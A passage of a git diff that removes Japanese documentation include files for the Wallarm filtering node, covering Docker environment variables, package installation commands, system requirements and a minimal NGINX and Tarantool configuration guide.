              変数が明示的に指定されていない、または値が空`""`の場合、NGINXはIPv6とIPv4の両方の接続を処理します。 | いいえ \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-docker-all-env-vars-4.8.md b/include-ja/waf/installation/nginx-docker-all-env-vars-4.8.md deleted file mode 100644 index 2acf556ee8..0000000000 --- a/include-ja/waf/installation/nginx-docker-all-env-vars-4.8.md +++ /dev/null @@ -1,12 +0,0 @@ -環境変数 | 説明| 必須 ---- | ---- | ---- -`WALLARM_API_TOKEN` | WallarmノードまたはAPIトークンです。 | はい -`WALLARM_LABELS` |

              ノード4.6以降で利用可能です。`WALLARM_API_TOKEN`に`Deploy`ロールを持つ[APIトークン][api-token]が設定されている場合にのみ動作します。ノードインスタンスのグルーピング用に`group`ラベルを設定します。例:

              `WALLARM_LABELS="group="`

              ...はノードインスタンスを``インスタンスグループに配置します（既存のグループがある場合はそれに、存在しない場合は作成されます）。

              | はい（APIトークンの場合） -`NGINX_BACKEND` | Wallarmソリューションで保護するリソースのドメインまたはIPアドレスです。 | はい -`WALLARM_API_HOST` | Wallarm APIサーバー:
              • US Cloudの場合は`us1.api.wallarm.com`
              • EU Cloudの場合は`api.wallarm.com`
              既定値: `api.wallarm.com`です。 | いいえ -`WALLARM_MODE` | ノードモード:
              • `block` 悪意のあるリクエストをブロックします
              • `safe_blocking` [グレーリストに登録されたIPアドレス][graylist-docs]からの悪意のあるリクエストのみをブロックします
              • `monitoring` リクエストを解析しますがブロックしません
              • `off` トラフィックの解析と処理を無効にします
              既定値: `monitoring`です。
              [フィルタリングモードの詳細説明 →][filtration-modes-docs] | いいえ -`WALLARM_APPLICATION` | Wallarm Cloudで使用する保護対象アプリケーションの一意の識別子です。値は`0`を除く正の整数にできます。

              既定値（変数がコンテナに渡されない場合）は`-1`で、Wallarm Console → **Settings** → **Application**に表示される**既定**のアプリケーションを示します。

              [アプリケーションの設定の詳細 →][application-configuration] | いいえ -`TARANTOOL_MEMORY_GB` | [Tarantoolに割り当てるメモリ量][allocating-memory-guide]です。値は整数または浮動小数点数（小数点記号はドット.）にできます。既定値: 1ギガバイトです。 | いいえ -`NGINX_PORT` | Dockerコンテナ内でNGINXが使用するポートを設定します。

              Dockerイメージ`4.0.2-1`以降、[`wallarm-status`][node-status-docs]サービスはNGINXと同じポートで自動的に実行されます。

              既定値（変数がコンテナに渡されない場合）は`80`です。

              構文は`NGINX_PORT='443'`です。 | いいえ -`WALLARM_STATUS_ALLOW` | Dockerコンテナの外部から[`/wallarm-status`エンドポイント][node-status-docs]にアクセスできるように許可するカスタムCIDRです。例: `10.0.0.0/8`。複数の値を渡す必要がある場合は、区切り文字としてカンマ`,`を使用してください。サービスへ外部からアクセスするには、DockerコンテナのIPを使用し、`/wallarm-status`エンドポイントのパスを指定します。 | いいえ -`DISABLE_IPV6`| 空でない任意の値が設定されている場合、この変数はNGINXの設定ファイルから`listen [::]:80 default_server ipv6only=on;`の行を削除し、NGINXによるIPv6接続の処理を停止します。

              変数が明示的に指定されていない、または空の値`""`である場合、NGINXはIPv6とIPv4の両方の接続を処理します。 | いいえ \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-docker-all-env-vars-5.0.md b/include-ja/waf/installation/nginx-docker-all-env-vars-5.0.md deleted file mode 100644 index ffba29bcb2..0000000000 --- a/include-ja/waf/installation/nginx-docker-all-env-vars-5.0.md +++ /dev/null @@ -1,15 +0,0 @@ -環境変数 | 説明| 必須 ---- | ---- | ---- -`WALLARM_API_TOKEN` | WallarmノードまたはAPIトークンです。 | はい -`WALLARM_LABELS` |

              ノード4.6以降で利用可能です。`WALLARM_API_TOKEN`が`Deploy`ロールを持つ[APIトークン][api-token]に設定されている場合にのみ機能します。ノードインスタンスのグループ化に使用する`group`ラベルを設定します。例えば:

              `WALLARM_LABELS="group="`

              ...これにより、ノードインスタンスは``インスタンスグループ（既存のもの。存在しない場合は作成されます）に配置されます。

              | はい（APIトークンの場合） -`NGINX_BACKEND` | Wallarmソリューションで保護するリソースのドメインまたはIPアドレスです。 | はい -`WALLARM_API_HOST` | Wallarm APIサーバーは以下のとおりです:
              • US Cloudの場合は`us1.api.wallarm.com`
              • EU Cloudの場合は`api.wallarm.com`
              デフォルト値は`api.wallarm.com`です。 | いいえ -`WALLARM_MODE` | ノードモードは以下のとおりです:
              • `block` 悪意のあるリクエストをブロックします
              • `safe_blocking` [グレーリスト化されたIPアドレス][graylist-docs]から発生した悪意のあるリクエストのみをブロックします
              • `monitoring` リクエストを解析しますがブロックしません
              • `off` トラフィックの解析と処理を無効にします
              デフォルト値は`monitoring`です。
              [フィルタリングモードの詳細 →][filtration-modes-docs] | いいえ -`WALLARM_APPLICATION` | Wallarm Cloudで使用される、保護対象アプリケーションの一意の識別子です。値は`0`を除く正の整数を指定できます。

              デフォルト値（変数がコンテナに渡されない場合）は`-1`で、Wallarm Console → Settings → Applicationに表示される**デフォルト**アプリケーションを示します。

              [アプリケーションの設定の詳細 →][application-configuration] | いいえ -`TARANTOOL_MEMORY_GB` | [Tarantoolに割り当てるメモリ量][allocating-memory-guide]です。値は整数または浮動小数点数を指定できます（小数点はドット.です）。デフォルト値は1ギガバイトです。 | いいえ -`NGINX_PORT` | NGINXがDockerコンテナ内で使用するポートを設定します。

              Dockerイメージ`4.0.2-1`以降、[`wallarm-status`][node-status-docs]サービスは自動的にNGINXと同じポートで動作します。

              デフォルト値（変数がコンテナに渡されない場合）は`80`です。

              構文は`NGINX_PORT='443'`です。 | いいえ -`WALLARM_STATUS_ALLOW` | Dockerコンテナ外部から[`/wallarm-status`エンドポイント][node-status-docs]へアクセス可能にするカスタムCIDRです。例: `10.0.0.0/8`。複数の値を渡す必要がある場合は、区切りにコンマ`,`を使用します。外部からサービスにアクセスするには、DockerコンテナのIPを使用し、`/wallarm-status`エンドポイントのパスを指定します。 | いいえ -`DISABLE_IPV6`| 空でない任意の値が設定されている場合、この変数によりNGINXの設定ファイルから`listen [::]:80 default_server ipv6only=on;`の行が削除され、NGINXはIPv6接続を処理しなくなります。

              変数が明示的に指定されていない、または空値`""`の場合、NGINXはIPv6およびIPv4の両方の接続を処理します。 | いいえ -`WALLARM_APIFW_ENABLE` | この設定は、リリース4.10以降で利用可能な[API仕様の強制][api-policy-enf-docs]を有効/無効に切り替えます。なお、この機能を有効化しても、Wallarm Console UIで必要なサブスクリプションおよび設定の代わりにはなりません。

              デフォルト値は`true`で、機能が有効になります。 | いいえ -`APIFW_API_MODE_MAX_ERRORS_IN_RESPONSE`（5.x系の5.3.12以降） | [API仕様の強制][api-policy-enf-docs]の実行中に、1つのリクエストで検出できるエラー数を制限します。

              デフォルト値は`3`です。

              この値を増やす場合は、適切にマウントされた設定ファイルで[`subrequest_output_buffer_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#subrequest_output_buffer_size) NGINXディレクティブの値も増やしてください。 | いいえ -`WALLARM_APID_ONLY`（5.3.7以降） | このモードでは、トラフィックで検出された攻撃はノードによりローカルでブロックされます（[有効化][filtration-modes]されている場合）。ただしWallarm Cloudにはエクスポートされません。同時に、[APIディスカバリー][api-discovery-docs]などの一部の機能は引き続き完全に機能し、APIインベントリを検出してCloudにアップロードし、可視化します。このモードは、まずAPIインベントリをレビューして機微データを特定し、その後、計画的に攻撃データのエクスポートを制御したい方に適しています。しかし、Wallarmは攻撃データを安全に処理し、必要に応じて[機微な攻撃データのマスキング][sensitive-data-rule]を提供するため、攻撃データのエクスポートを無効にするケースは稀です。[詳細][apid-only-mode-details]
              デフォルト値は`false`です。 | いいえ \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-docker-all-env-vars-latest.md b/include-ja/waf/installation/nginx-docker-all-env-vars-latest.md deleted file mode 100644 index a03df4a84e..0000000000 --- a/include-ja/waf/installation/nginx-docker-all-env-vars-latest.md +++ /dev/null @@ -1,17 +0,0 @@ -環境変数 | 説明| 必須 ---- | ---- | ---- -`WALLARM_API_TOKEN` | WallarmノードまたはAPIトークンです。 | はい -`WALLARM_LABELS` |

              ノード4.6以降で利用可能です。`WALLARM_API_TOKEN`が`Deploy`ロールを持つ[APIトークン][api-token]に設定されている場合にのみ機能します。ノードインスタンスのグルーピング用に`group`ラベルを設定します。例:

              `WALLARM_LABELS="group="`

              ...はノードインスタンスを``インスタンスグループに配置します（既存、または存在しない場合は作成されます）。

              | はい（APIトークンの場合） -`NGINX_BACKEND` | Wallarmソリューションで保護するリソースのドメインまたはIPアドレスです。 | はい -`WALLARM_API_HOST` | Wallarm APIサーバー:
              • `us1.api.wallarm.com`（US Cloud向け）
              • `api.wallarm.com`（EU Cloud向け）
              デフォルト: `api.wallarm.com`です。 | いいえ -`WALLARM_MODE` | ノードモード:
              • `block` は悪意のあるリクエストをブロックします
              • `safe_blocking` は[グレーリスト化されたIPアドレス][graylist-docs]からの悪意のあるリクエストのみをブロックします
              • `monitoring` はリクエストを解析しますが、ブロックしません
              • `off` はトラフィックの解析と処理を無効化します
              デフォルト: `monitoring`です。
              [フィルタリングモードの詳細 →][filtration-modes-docs] | いいえ -`WALLARM_APPLICATION` | Wallarm Cloudで使用する保護対象アプリケーションの一意の識別子です。値は`0`を除く正の整数を指定できます。

              デフォルト値（変数がコンテナに渡されない場合）は`-1`で、Wallarm Console → **Settings** → **Application**に表示される**デフォルト**のアプリケーションを示します。

              [アプリケーションの設定に関する詳細 →][application-configuration] | いいえ -`SLAB_ALLOC_ARENA` (`TARANTOOL_MEMORY_GB` [NGINX Node 5.x以前][what-is-new-wstore]) | wstoreに割り当てる[メモリ容量][allocating-memory-guide]です。値は浮動小数点数を指定できます（小数点はドット.です）。デフォルト: 1.0（1ギガバイト）です。 | いいえ -`NGINX_PORT` | Dockerコンテナ内でNGINXが使用するポートを設定します。

              Dockerイメージ`4.0.2-1`以降、[`wallarm-status`][node-status-docs]サービスはNGINXと同じポートで自動的に起動します。

              デフォルト値（変数がコンテナに渡されない場合）は`80`です。

              構文は`NGINX_PORT='443'`です。 | いいえ -`WALLARM_STATUS_ALLOW` | Dockerコンテナ外部から[``/wallarm-status``エンドポイント][node-status-docs]へアクセスを許可するカスタムCIDRです。例: `10.0.0.0/8`。複数の値を渡す必要がある場合は、区切り文字としてカンマ`,`を使用します。サービスへ外部からアクセスするには、DockerコンテナのIPを使用し、`/wallarm-status`エンドポイントのパスを指定します。 | いいえ -`DISABLE_IPV6`| 空でない任意の値が設定されたこの変数は、NGINXの設定ファイルから`listen [::]:80 default_server ipv6only=on;`の行を削除し、NGINXによるIPv6接続の処理を停止します。

              変数が明示的に指定されていない、または空値`""`の場合、NGINXはIPv6とIPv4の両方の接続を処理します。 | いいえ -`WALLARM_APIFW_ENABLE` | この設定は、リリース4.10以降で利用可能な[API Specification Enforcement][api-policy-enf-docs]の有効/無効を切り替えます。なお、この機能を有効化しても、必要なサブスクリプションおよびWallarm Console UIからの設定の代替にはなりません。

              デフォルト値は`true`で、有効になっています。 | いいえ -`WALLARM_APID_ONLY`（5.3.7以降） | このモードでは、トラフィックで検出された攻撃は、ノードによってローカルでブロックされます（[有効][filtration-modes]な場合）が、Wallarm Cloudにはエクスポートされません。一方で、[API Discovery][api-discovery-docs]やその他の一部の機能は引き続き完全に機能し、APIインベントリを検出して可視化のためにWallarm Cloudへアップロードします。このモードは、まずAPIインベントリを確認し機微データを特定したうえで、計画的に攻撃データのエクスポートを行いたい方のためのものです。ただし、攻撃のエクスポートを無効にすることはまれです。Wallarmは攻撃データを安全に処理し、必要に応じて[機微な攻撃データのマスキング][sensitive-data-rule]を提供します。[詳細][apid-only-mode-details]
              デフォルト: `false`です。 | いいえ -`APIFW_METRICS_ENABLED`（6.4.1以降） | API Specification EnforcementモジュールのPrometheusメトリクスを有効にします。
              デフォルト: `false`（無効）です。 | いいえ -`APIFW_METRICS_HOST`（6.4.1以降） | API Specification Enforcementがメトリクスを公開するホストとポートを定義します。
              デフォルト: `:9010`です。 | いいえ -`APIFW_METRICS_ENDPOINT_NAME`（6.4.1以降） | API Specification EnforcementのメトリクスエンドポイントのHTTPパスを定義します。
              デフォルト: `metrics`です。 | いいえ \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-docker-env-vars-to-mount-4.10.md b/include-ja/waf/installation/nginx-docker-env-vars-to-mount-4.10.md deleted file mode 100644 index c3f5cf5d21..0000000000 --- a/include-ja/waf/installation/nginx-docker-env-vars-to-mount-4.10.md +++ /dev/null @@ -1,5 +0,0 @@ -環境変数 | 説明| 必須 ---- | ---- | ---- -`WALLARM_API_TOKEN` | WallarmノードまたはAPIトークンです。 | はい -`WALLARM_API_HOST` | Wallarm APIサーバー：
              • `us1.api.wallarm.com`（US Cloud用）
              • `api.wallarm.com`（EU Cloud用）
              デフォルト：`api.wallarm.com`です。 | いいえ -`WALLARM_LABELS` |

              ノード4.6以降で利用可能です。`WALLARM_API_TOKEN`が`Deploy`ロールを持つ[APIトークン][api-token]に設定されている場合にのみ機能します。ノードインスタンスをグルーピングするための`group`ラベルを設定します。例：

              `WALLARM_LABELS="group="`

              ...はノードインスタンスを``インスタンスグループに配置します（既存の場合はそのグループを使用し、存在しない場合は作成されます）。

              | はい（APIトークンの場合） \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-docker-env-vars-to-mount-4.2.md b/include-ja/waf/installation/nginx-docker-env-vars-to-mount-4.2.md deleted file mode 100644 index ac46224add..0000000000 --- a/include-ja/waf/installation/nginx-docker-env-vars-to-mount-4.2.md +++ /dev/null @@ -1,4 +0,0 @@ -環境変数 | 説明| 必須 ---- | ---- | ---- -`WALLARM_API_TOKEN` | Wallarmノードトークンです。

              Wallarm Cloudへのアクセスを構成する以前の変数

              バージョン4.0のリリース前は、`WALLARM_API_TOKEN`の代わりに`DEPLOY_USERNAME`と`DEPLOY_PASSWORD`を使用していました。新しいリリース以降は、Wallarm Cloudへのアクセスには新しいトークンベースの方式を使用することを推奨します。 [新しいノードバージョンへの移行の詳細](/updating-migrating/docker-container/)

              | はい -`WALLARM_API_HOST` | Wallarm APIサーバー：
              • `us1.api.wallarm.com`はUS Cloud向けです
              • `api.wallarm.com`はEU Cloud向けです
              デフォルト：`api.wallarm.com`です。 | いいえ \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-docker-env-vars-to-mount-4.4.md b/include-ja/waf/installation/nginx-docker-env-vars-to-mount-4.4.md deleted file mode 100644 index 9aedbd9939..0000000000 --- a/include-ja/waf/installation/nginx-docker-env-vars-to-mount-4.4.md +++ /dev/null @@ -1,4 +0,0 @@ -環境変数 | 説明| 必須 ---- | ---- | ---- -`WALLARM_API_TOKEN` | Wallarm nodeのトークンです。

              複数のインストールで1つのトークンを使用する

              選択したプラットフォームに関係なく、複数のインストールで1つのトークンを使用できます。これにより、Wallarm Console UIでWallarm nodeインスタンスを論理的にグループ化できます。例: 開発環境に複数のWallarm nodeをデプロイし、各Wallarm nodeが特定の開発者の所有する個別のマシン上で稼働しているケースです。

              | はい -`WALLARM_API_HOST` | Wallarm APIサーバー:
              • US Cloudの場合は`us1.api.wallarm.com`
              • EU Cloudの場合は`api.wallarm.com`
              デフォルト: `api.wallarm.com`です。 | いいえ \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-docker-env-vars-to-mount-5.0.md b/include-ja/waf/installation/nginx-docker-env-vars-to-mount-5.0.md deleted file mode 100644 index f57dc19ed8..0000000000 --- a/include-ja/waf/installation/nginx-docker-env-vars-to-mount-5.0.md +++ /dev/null @@ -1,7 +0,0 @@ -環境変数 | 説明| 必須 ---- | ---- | ---- -`WALLARM_API_TOKEN` | WallarmノードまたはAPIトークンです。 | はい -`WALLARM_API_HOST` | Wallarm APIサーバー:
              • `us1.api.wallarm.com`はUS Cloud向けです
              • `api.wallarm.com`はEU Cloud向けです
              デフォルト: `api.wallarm.com`です。 | いいえ -`WALLARM_LABELS` |

              ノード4.6以降で利用できます。`WALLARM_API_TOKEN`が`Deploy`ロールを持つ[APIトークン][api-token]に設定されている場合にのみ動作します。ノードインスタンスのグループ化のために`group`ラベルを設定します。例えば:

              `WALLARM_LABELS="group="`

              この設定により、ノードインスタンスは``インスタンスグループに配置されます（既存のグループがある場合はそこに、存在しない場合は作成されます）。

              | はい（APIトークンの場合） -`WALLARM_APID_ONLY` (5.3.7以降) | このモードでは、トラフィックで検出された攻撃は（[有効化][filtration-modes]されている場合）ノードがローカルでブロックしますが、Wallarm Cloudへはエクスポートしません。一方で、[API Discovery][api-discovery-docs]や一部のその他の機能は引き続き完全に機能し、APIインベントリを検出してWallarm Cloudへアップロードし、可視化します。このモードは、まずAPIインベントリを確認して機微なデータを特定し、そのうえで攻撃データのエクスポートを計画的に実施したい方に適しています。しかし、Wallarmは攻撃データを安全に処理し、必要に応じて[機微な攻撃データのマスキング][sensitive-data-rule]も提供しますので、攻撃データのエクスポートを無効化するケースはまれです。[詳細][apid-only-mode-details]
              デフォルト: `false`です。 | いいえ -`APIFW_API_MODE_MAX_ERRORS_IN_RESPONSE` (5.x系の5.3.12以降) | [API Specification Enforcement][api-policy-enf-docs]の実行中に、1つのリクエストで検出できるエラー数を制限します。

              デフォルト値は`3`です。

              この値を増やす場合は、適切なマウントされた設定ファイルで[`subrequest_output_buffer_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#subrequest_output_buffer_size) NGINXディレクティブの値も増やしてください。 | いいえ \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-docker-env-vars-to-mount-latest.md b/include-ja/waf/installation/nginx-docker-env-vars-to-mount-latest.md deleted file mode 100644 index 6204835409..0000000000 --- a/include-ja/waf/installation/nginx-docker-env-vars-to-mount-latest.md +++ /dev/null @@ -1,10 +0,0 @@ -環境変数 | 説明| 必須 ---- | ---- | ---- -`WALLARM_API_TOKEN` | WallarmノードまたはAPIトークンです。 | はい -`WALLARM_API_HOST` | Wallarm APIサーバー:
              • `us1.api.wallarm.com`はUS Cloud向けです
              • `api.wallarm.com`はEU Cloud向けです
              デフォルト: `api.wallarm.com`。 | いいえ -`WALLARM_LABELS` |

              ノード4.6以降で利用可能です。`WALLARM_API_TOKEN`が`Deploy`ロールを持つ[APIトークン][api-token]に設定されている場合にのみ動作します。ノードインスタンスをグループ化するための`group`ラベルを設定します。例:

              `WALLARM_LABELS="group="`

              ...はノードインスタンスを``インスタンスグループに配置します（既存の場合はそのグループに、存在しない場合は作成されます）。

              | はい（APIトークンの場合） -`SLAB_ALLOC_ARENA` (`TARANTOOL_MEMORY_GB` [NGINXノード5.x以前][what-is-new-wstore]) | wstoreに割り当てられる[メモリ量][allocating-memory-guide]です。値は浮動小数点数を指定できます（小数点の区切り文字はドット.です）。デフォルト: 1.0（1ギガバイト）です。 | いいえ -`WALLARM_APID_ONLY`（5.3.7以降） | このモードでは、トラフィックで検出された攻撃はノードによってローカルでブロックされます（[有効化][filtration-modes]されている場合）。ただしWallarm Cloudへはエクスポートされません。一方、[API Discovery][api-discovery-docs]やその他の一部の機能は引き続き完全に機能し、APIインベントリを検出してCloudにアップロードし、可視化します。このモードは、まずAPIインベントリを確認して機微データを特定し、そのうえで攻撃データのエクスポートを計画的に実施したい方に適しています。ただし、Wallarmは攻撃データを安全に処理し、必要に応じて[機微な攻撃データのマスキング][sensitive-data-rule]も提供しますので、攻撃データのエクスポートを無効化することは稀です。[詳細][apid-only-mode-details]
              デフォルト: `false`です。 | いいえ -`APIFW_METRICS_ENABLED`（6.4.1以降） | API Specification Enforcementモジュール用のPrometheusメトリクスを有効にします。
              デフォルト: `false`（無効）です。 | いいえ -`APIFW_METRICS_HOST`（6.4.1以降） | API Specification Enforcementがメトリクスを公開するホストとポートを定義します。
              デフォルト: `:9010`。 | いいえ -`APIFW_METRICS_ENDPOINT_NAME`（6.4.1以降） | API Specification EnforcementのメトリクスエンドポイントのHTTPパスを定義します。
              デフォルト: `metrics`。 | いいえ \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-docker-env-vars-to-mount.md b/include-ja/waf/installation/nginx-docker-env-vars-to-mount.md deleted file mode 100644 index 6e7e6f5493..0000000000 --- a/include-ja/waf/installation/nginx-docker-env-vars-to-mount.md +++ /dev/null @@ -1,6 +0,0 @@ -環境変数 | 説明| 必須 ---- | ---- | ---- -`DEPLOY_USER` | Wallarm Consoleの**Deploy**または**Administrator**ユーザーアカウントのメールアドレスです。| はい -`DEPLOY_PASSWORD` | Wallarm Consoleの**Deploy**または**Administrator**ユーザーアカウントのパスワードです。 | はい -`WALLARM_API_HOST` | Wallarm APIサーバー：
              • US Cloudの場合は`us1.api.wallarm.com`
              • EU Cloudの場合は`api.wallarm.com`
              デフォルト：`api.wallarm.com`です。 | いいえ -`DEPLOY_FORCE` | 実行中のコンテナの識別子と既存のWallarmノード名が一致する場合、既存のWallarmノードを新しいものに置き換えます。変数には次の値を設定できます：
              • フィルタリングノードを置き換える場合は`true`
              • フィルタリングノードの置換を無効にする場合は`false`
              デフォルト値（変数がコンテナに渡されない場合）は`false`です。
              Wallarmノード名は、実行中のコンテナの識別子と常に一致します。環境内のDockerコンテナの識別子が静的で、フィルタリングノードを含む別のDockerコンテナ（例：新しいバージョンのイメージを持つコンテナ）を実行しようとしている場合、フィルタリングノードの置換が役立ちます。この場合、変数の値が`false`の場合は、フィルタリングノードの作成プロセスは失敗します。 | いいえ \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-installation-options.md b/include-ja/waf/installation/nginx-installation-options.md deleted file mode 100644 index 476d385fdf..0000000000 --- a/include-ja/waf/installation/nginx-installation-options.md +++ /dev/null @@ -1,6 +0,0 @@ -Wallarm nodeにおけるリクエスト処理は2段階に分かれます： - -* NGINX-Wallarmモジュールでの一次処理です。処理はメモリ消費が大きくないため、サーバー要件を変更せずにフロントエンドサーバーに導入できます。 -* postanalyticsモジュールでの処理済みリクエストの統計分析です。postanalyticsはメモリ使用量が多いため、サーバー構成の変更が必要になったり、postanalyticsを別サーバーにインストールしたりする場合があります。 - -システムアーキテクチャに応じて、NGINX-Wallarmモジュールとpostanalyticsモジュールは**同じサーバー**または**別サーバー**にインストールできます。 \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-postanalytics-2.12.md b/include-ja/waf/installation/nginx-postanalytics-2.12.md deleted file mode 100644 index c1ee02be61..0000000000 --- a/include-ja/waf/installation/nginx-postanalytics-2.12.md +++ /dev/null @@ -1,12 +0,0 @@ -=== "Debian" - ```bash - sudo apt install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "Ubuntu" - ```bash - sudo apt install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "CentOS" - ```bash - sudo yum install wallarm-node nginx-module-wallarm - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-postanalytics.md b/include-ja/waf/installation/nginx-postanalytics.md deleted file mode 100644 index ccce586bd3..0000000000 --- a/include-ja/waf/installation/nginx-postanalytics.md +++ /dev/null @@ -1,12 +0,0 @@ -=== "Debian" - ```bash - sudo apt install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "Ubuntu" - ```bash - sudo apt install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "CentOSまたはAmazon Linux 2.0.2021x以下" - ```bash - sudo yum install wallarm-node nginx-module-wallarm - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-requirements-3.0.md b/include-ja/waf/installation/nginx-requirements-3.0.md deleted file mode 100644 index d81bcb7a5a..0000000000 --- a/include-ja/waf/installation/nginx-requirements-3.0.md +++ /dev/null @@ -1,10 +0,0 @@ -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**または**Deploy**ロールを持つアカウントへのアクセス権が必要です -* SELinuxは無効化されているか、[手順][configure-selinux-instr]に従って設定されています。 -* すべてのコマンドはスーパーユーザー（例: `root`）として実行します。 -* リクエスト処理とpostanalyticsを別サーバーで実行する場合は、[手順][install-postanalytics-instr]に従ってpostanalyticsが別サーバーにインストールされている必要があります。 -* パッケージをダウンロードするために`https://repo.wallarm.com`へアクセスできる必要があります。アクセスがファイアウォールでブロックされていないことを確認します。 -* US Wallarm Cloudで使用する場合は`https://us1.api.wallarm.com:444`、EU Wallarm Cloudで使用する場合は`https://api.wallarm.com:444`へアクセスできる必要があります。アクセスをプロキシサーバー経由でのみ設定できる場合は、[手順][configure-proxy-balancer-instr]に従います。 -* 以下のIPアドレスへアクセスできる必要があります。これは、攻撃検出ルールの更新をダウンロードするほか、[allowlisted, denylisted, or graylisted][ip-lists-docs]の国・地域・データセンターの正確なIPアドレスを取得するためにも必要です。 - - --8<-- "../include/wallarm-cloud-ips.md" -* テキストエディタ**vim**、**nano**、またはその他がインストールされている必要があります。本手順では**vim**を使用します。 \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-requirements.md b/include-ja/waf/installation/nginx-requirements.md deleted file mode 100644 index 1e0c5afddf..0000000000 --- a/include-ja/waf/installation/nginx-requirements.md +++ /dev/null @@ -1,7 +0,0 @@ -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**または**Deploy**ロールを持つアカウントへのアクセス権が必要です -* SELinuxを無効化するか、[手順][configure-selinux-instr]に従って構成されている必要があります -* すべてのコマンドはスーパーユーザー(例: `root`)として実行する必要があります -* リクエスト処理とpostanalyticsを別サーバーで行う場合は、[手順][install-postanalytics-instr]に従ってpostanalyticsが別サーバーにインストールされている必要があります -* パッケージをダウンロードするために`https://repo.wallarm.com`へアクセスできる必要があります。ファイアウォールでアクセスがブロックされていないことを確認してください -* US Wallarm Cloudで作業するには`https://us1.api.wallarm.com:444`へ、EU Wallarm Cloudで作業するには`https://api.wallarm.com:444`へアクセスできる必要があります。アクセスをプロキシサーバー経由でのみ設定できる場合は、[手順][configure-proxy-balancer-instr]に従ってください -* テキストエディター**vim**、**nano**、またはその他がインストールされている必要があります。この手順では**vim**を使用します \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-waf-min-configuration-2.16.md b/include-ja/waf/installation/nginx-waf-min-configuration-2.16.md deleted file mode 100644 index 6c7f997aea..0000000000 --- a/include-ja/waf/installation/nginx-waf-min-configuration-2.16.md +++ /dev/null @@ -1,87 +0,0 @@ -NGINXとWallarmフィルタリングノードの主な設定ファイルは、次のディレクトリにあります： - -* `/etc/nginx/conf.d/default.conf`（NGINXの設定） -* `/etc/nginx/conf.d/wallarm.conf`（フィルタリングノードのグローバル設定） - - このファイルはすべてのドメインに適用される設定に使用します。異なるドメイングループに異なる設定を適用するには、`default.conf`ファイルを使用するか、各ドメイングループごとに新しい設定ファイル（例：`example.com.conf`や`test.com.conf`）を作成します。NGINXの設定ファイルに関する詳細は[公式NGINXドキュメント](https://nginx.org/en/docs/beginners_guide.html)をご参照ください。 -* `/etc/nginx/conf.d/wallarm-status.conf`（Wallarmノードの監視設定）。詳細な説明は[リンク][wallarm-status-instr]にあります -* `/etc/default/wallarm-tarantool` または `/etc/sysconfig/wallarm-tarantool`（Tarantoolデータベースの設定） - -#### リクエストフィルタリングモード - -デフォルトでは、フィルタリングノードはステータス`off`で、受信リクエストを解析しません。リクエスト解析を有効にするには、次の手順に従ってください： - -1. ファイル`/etc/nginx/conf.d/default.conf`を開きます： - - ```bash - sudo vim /etc/nginx/conf.d/default.conf - ``` -2. `https`、`server`または`location`ブロックに`wallarm_mode monitoring;`という行を追加します： - -??? note "ファイル`/etc/nginx/conf.d/default.conf`の例" - - ```bash - server { - # フィルタリング対象のポート - listen 80; - # フィルタリング対象のドメイン - server_name localhost; - # フィルタリングノードのモード - wallarm_mode monitoring; - - location / { - root /usr/share/nginx/html; - index index.html index.htm; - } - - error_page 500 502 503 504 /50x.html; - location = /50x.html { - root /usr/share/nginx/html; - } - } - ``` - -`monitoring`モードで動作している場合、フィルタリングノードはリクエスト内の攻撃の兆候を検出しますが、検出された攻撃をブロックしません。フィルタリングノードの導入後は数日間、トラフィックを`monitoring`モードでフィルタリングノード経由に流し、その後に`block`モードを有効にすることを推奨します。[フィルタリングノードの運用モード設定に関する推奨事項はこちら →][waf-mode-recommendations] - -#### メモリ - -!!! info "別サーバー上のpostanalyticsモジュール" - 別サーバーにpostanalyticsモジュールをインストール済みの場合は、この手順をスキップしてください。すでにモジュールの設定が完了しています。 - -WallarmノードはインメモリストレージのTarantoolを使用します。必要なリソース量の詳細は[こちら][memory-instr]をご確認ください。テスト環境では本番環境より少ないリソースを割り当てることができます。 - -Tarantoolに割り当てるメモリを設定するには： - -1. Tarantoolの設定ファイルを編集モードで開きます： - - === "Debian" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "Ubuntu" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "CentOSまたはAmazon Linux 2.0.2021x以前" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` -2. `SLAB_ALLOC_ARENA`ディレクティブにGB単位のメモリサイズを指定します。値は整数または浮動小数点数です（小数点はドット`.`です）。 - - Tarantoolへのメモリ割り当てに関する詳細な推奨事項は[こちらの手順][memory-instr]に記載しています。 -3. 変更を適用するために、Tarantoolを再起動します： - - ```bash - sudo systemctl restart wallarm-tarantool - ``` - -#### 別サーバー上のpostanalyticsのアドレス - -!!! info "同一サーバー上のNGINX-Wallarmとpostanalytics" - NGINX-Wallarmとpostanalyticsモジュールが同一サーバーにインストールされている場合は、この手順をスキップしてください。 - ---8<-- "../include/waf/configure-separate-postanalytics-address-nginx.md" - -#### その他の設定 - -他のNGINXおよびWallarmノードの設定を更新するには、NGINXのドキュメントと[利用可能なWallarmノードディレクティブ][waf-directives-instr]の一覧を参照してください。 \ No newline at end of file diff --git a/include-ja/waf/installation/nginx-waf-min-configuration-3.6.md b/include-ja/waf/installation/nginx-waf-min-configuration-3.6.md deleted file mode 100644 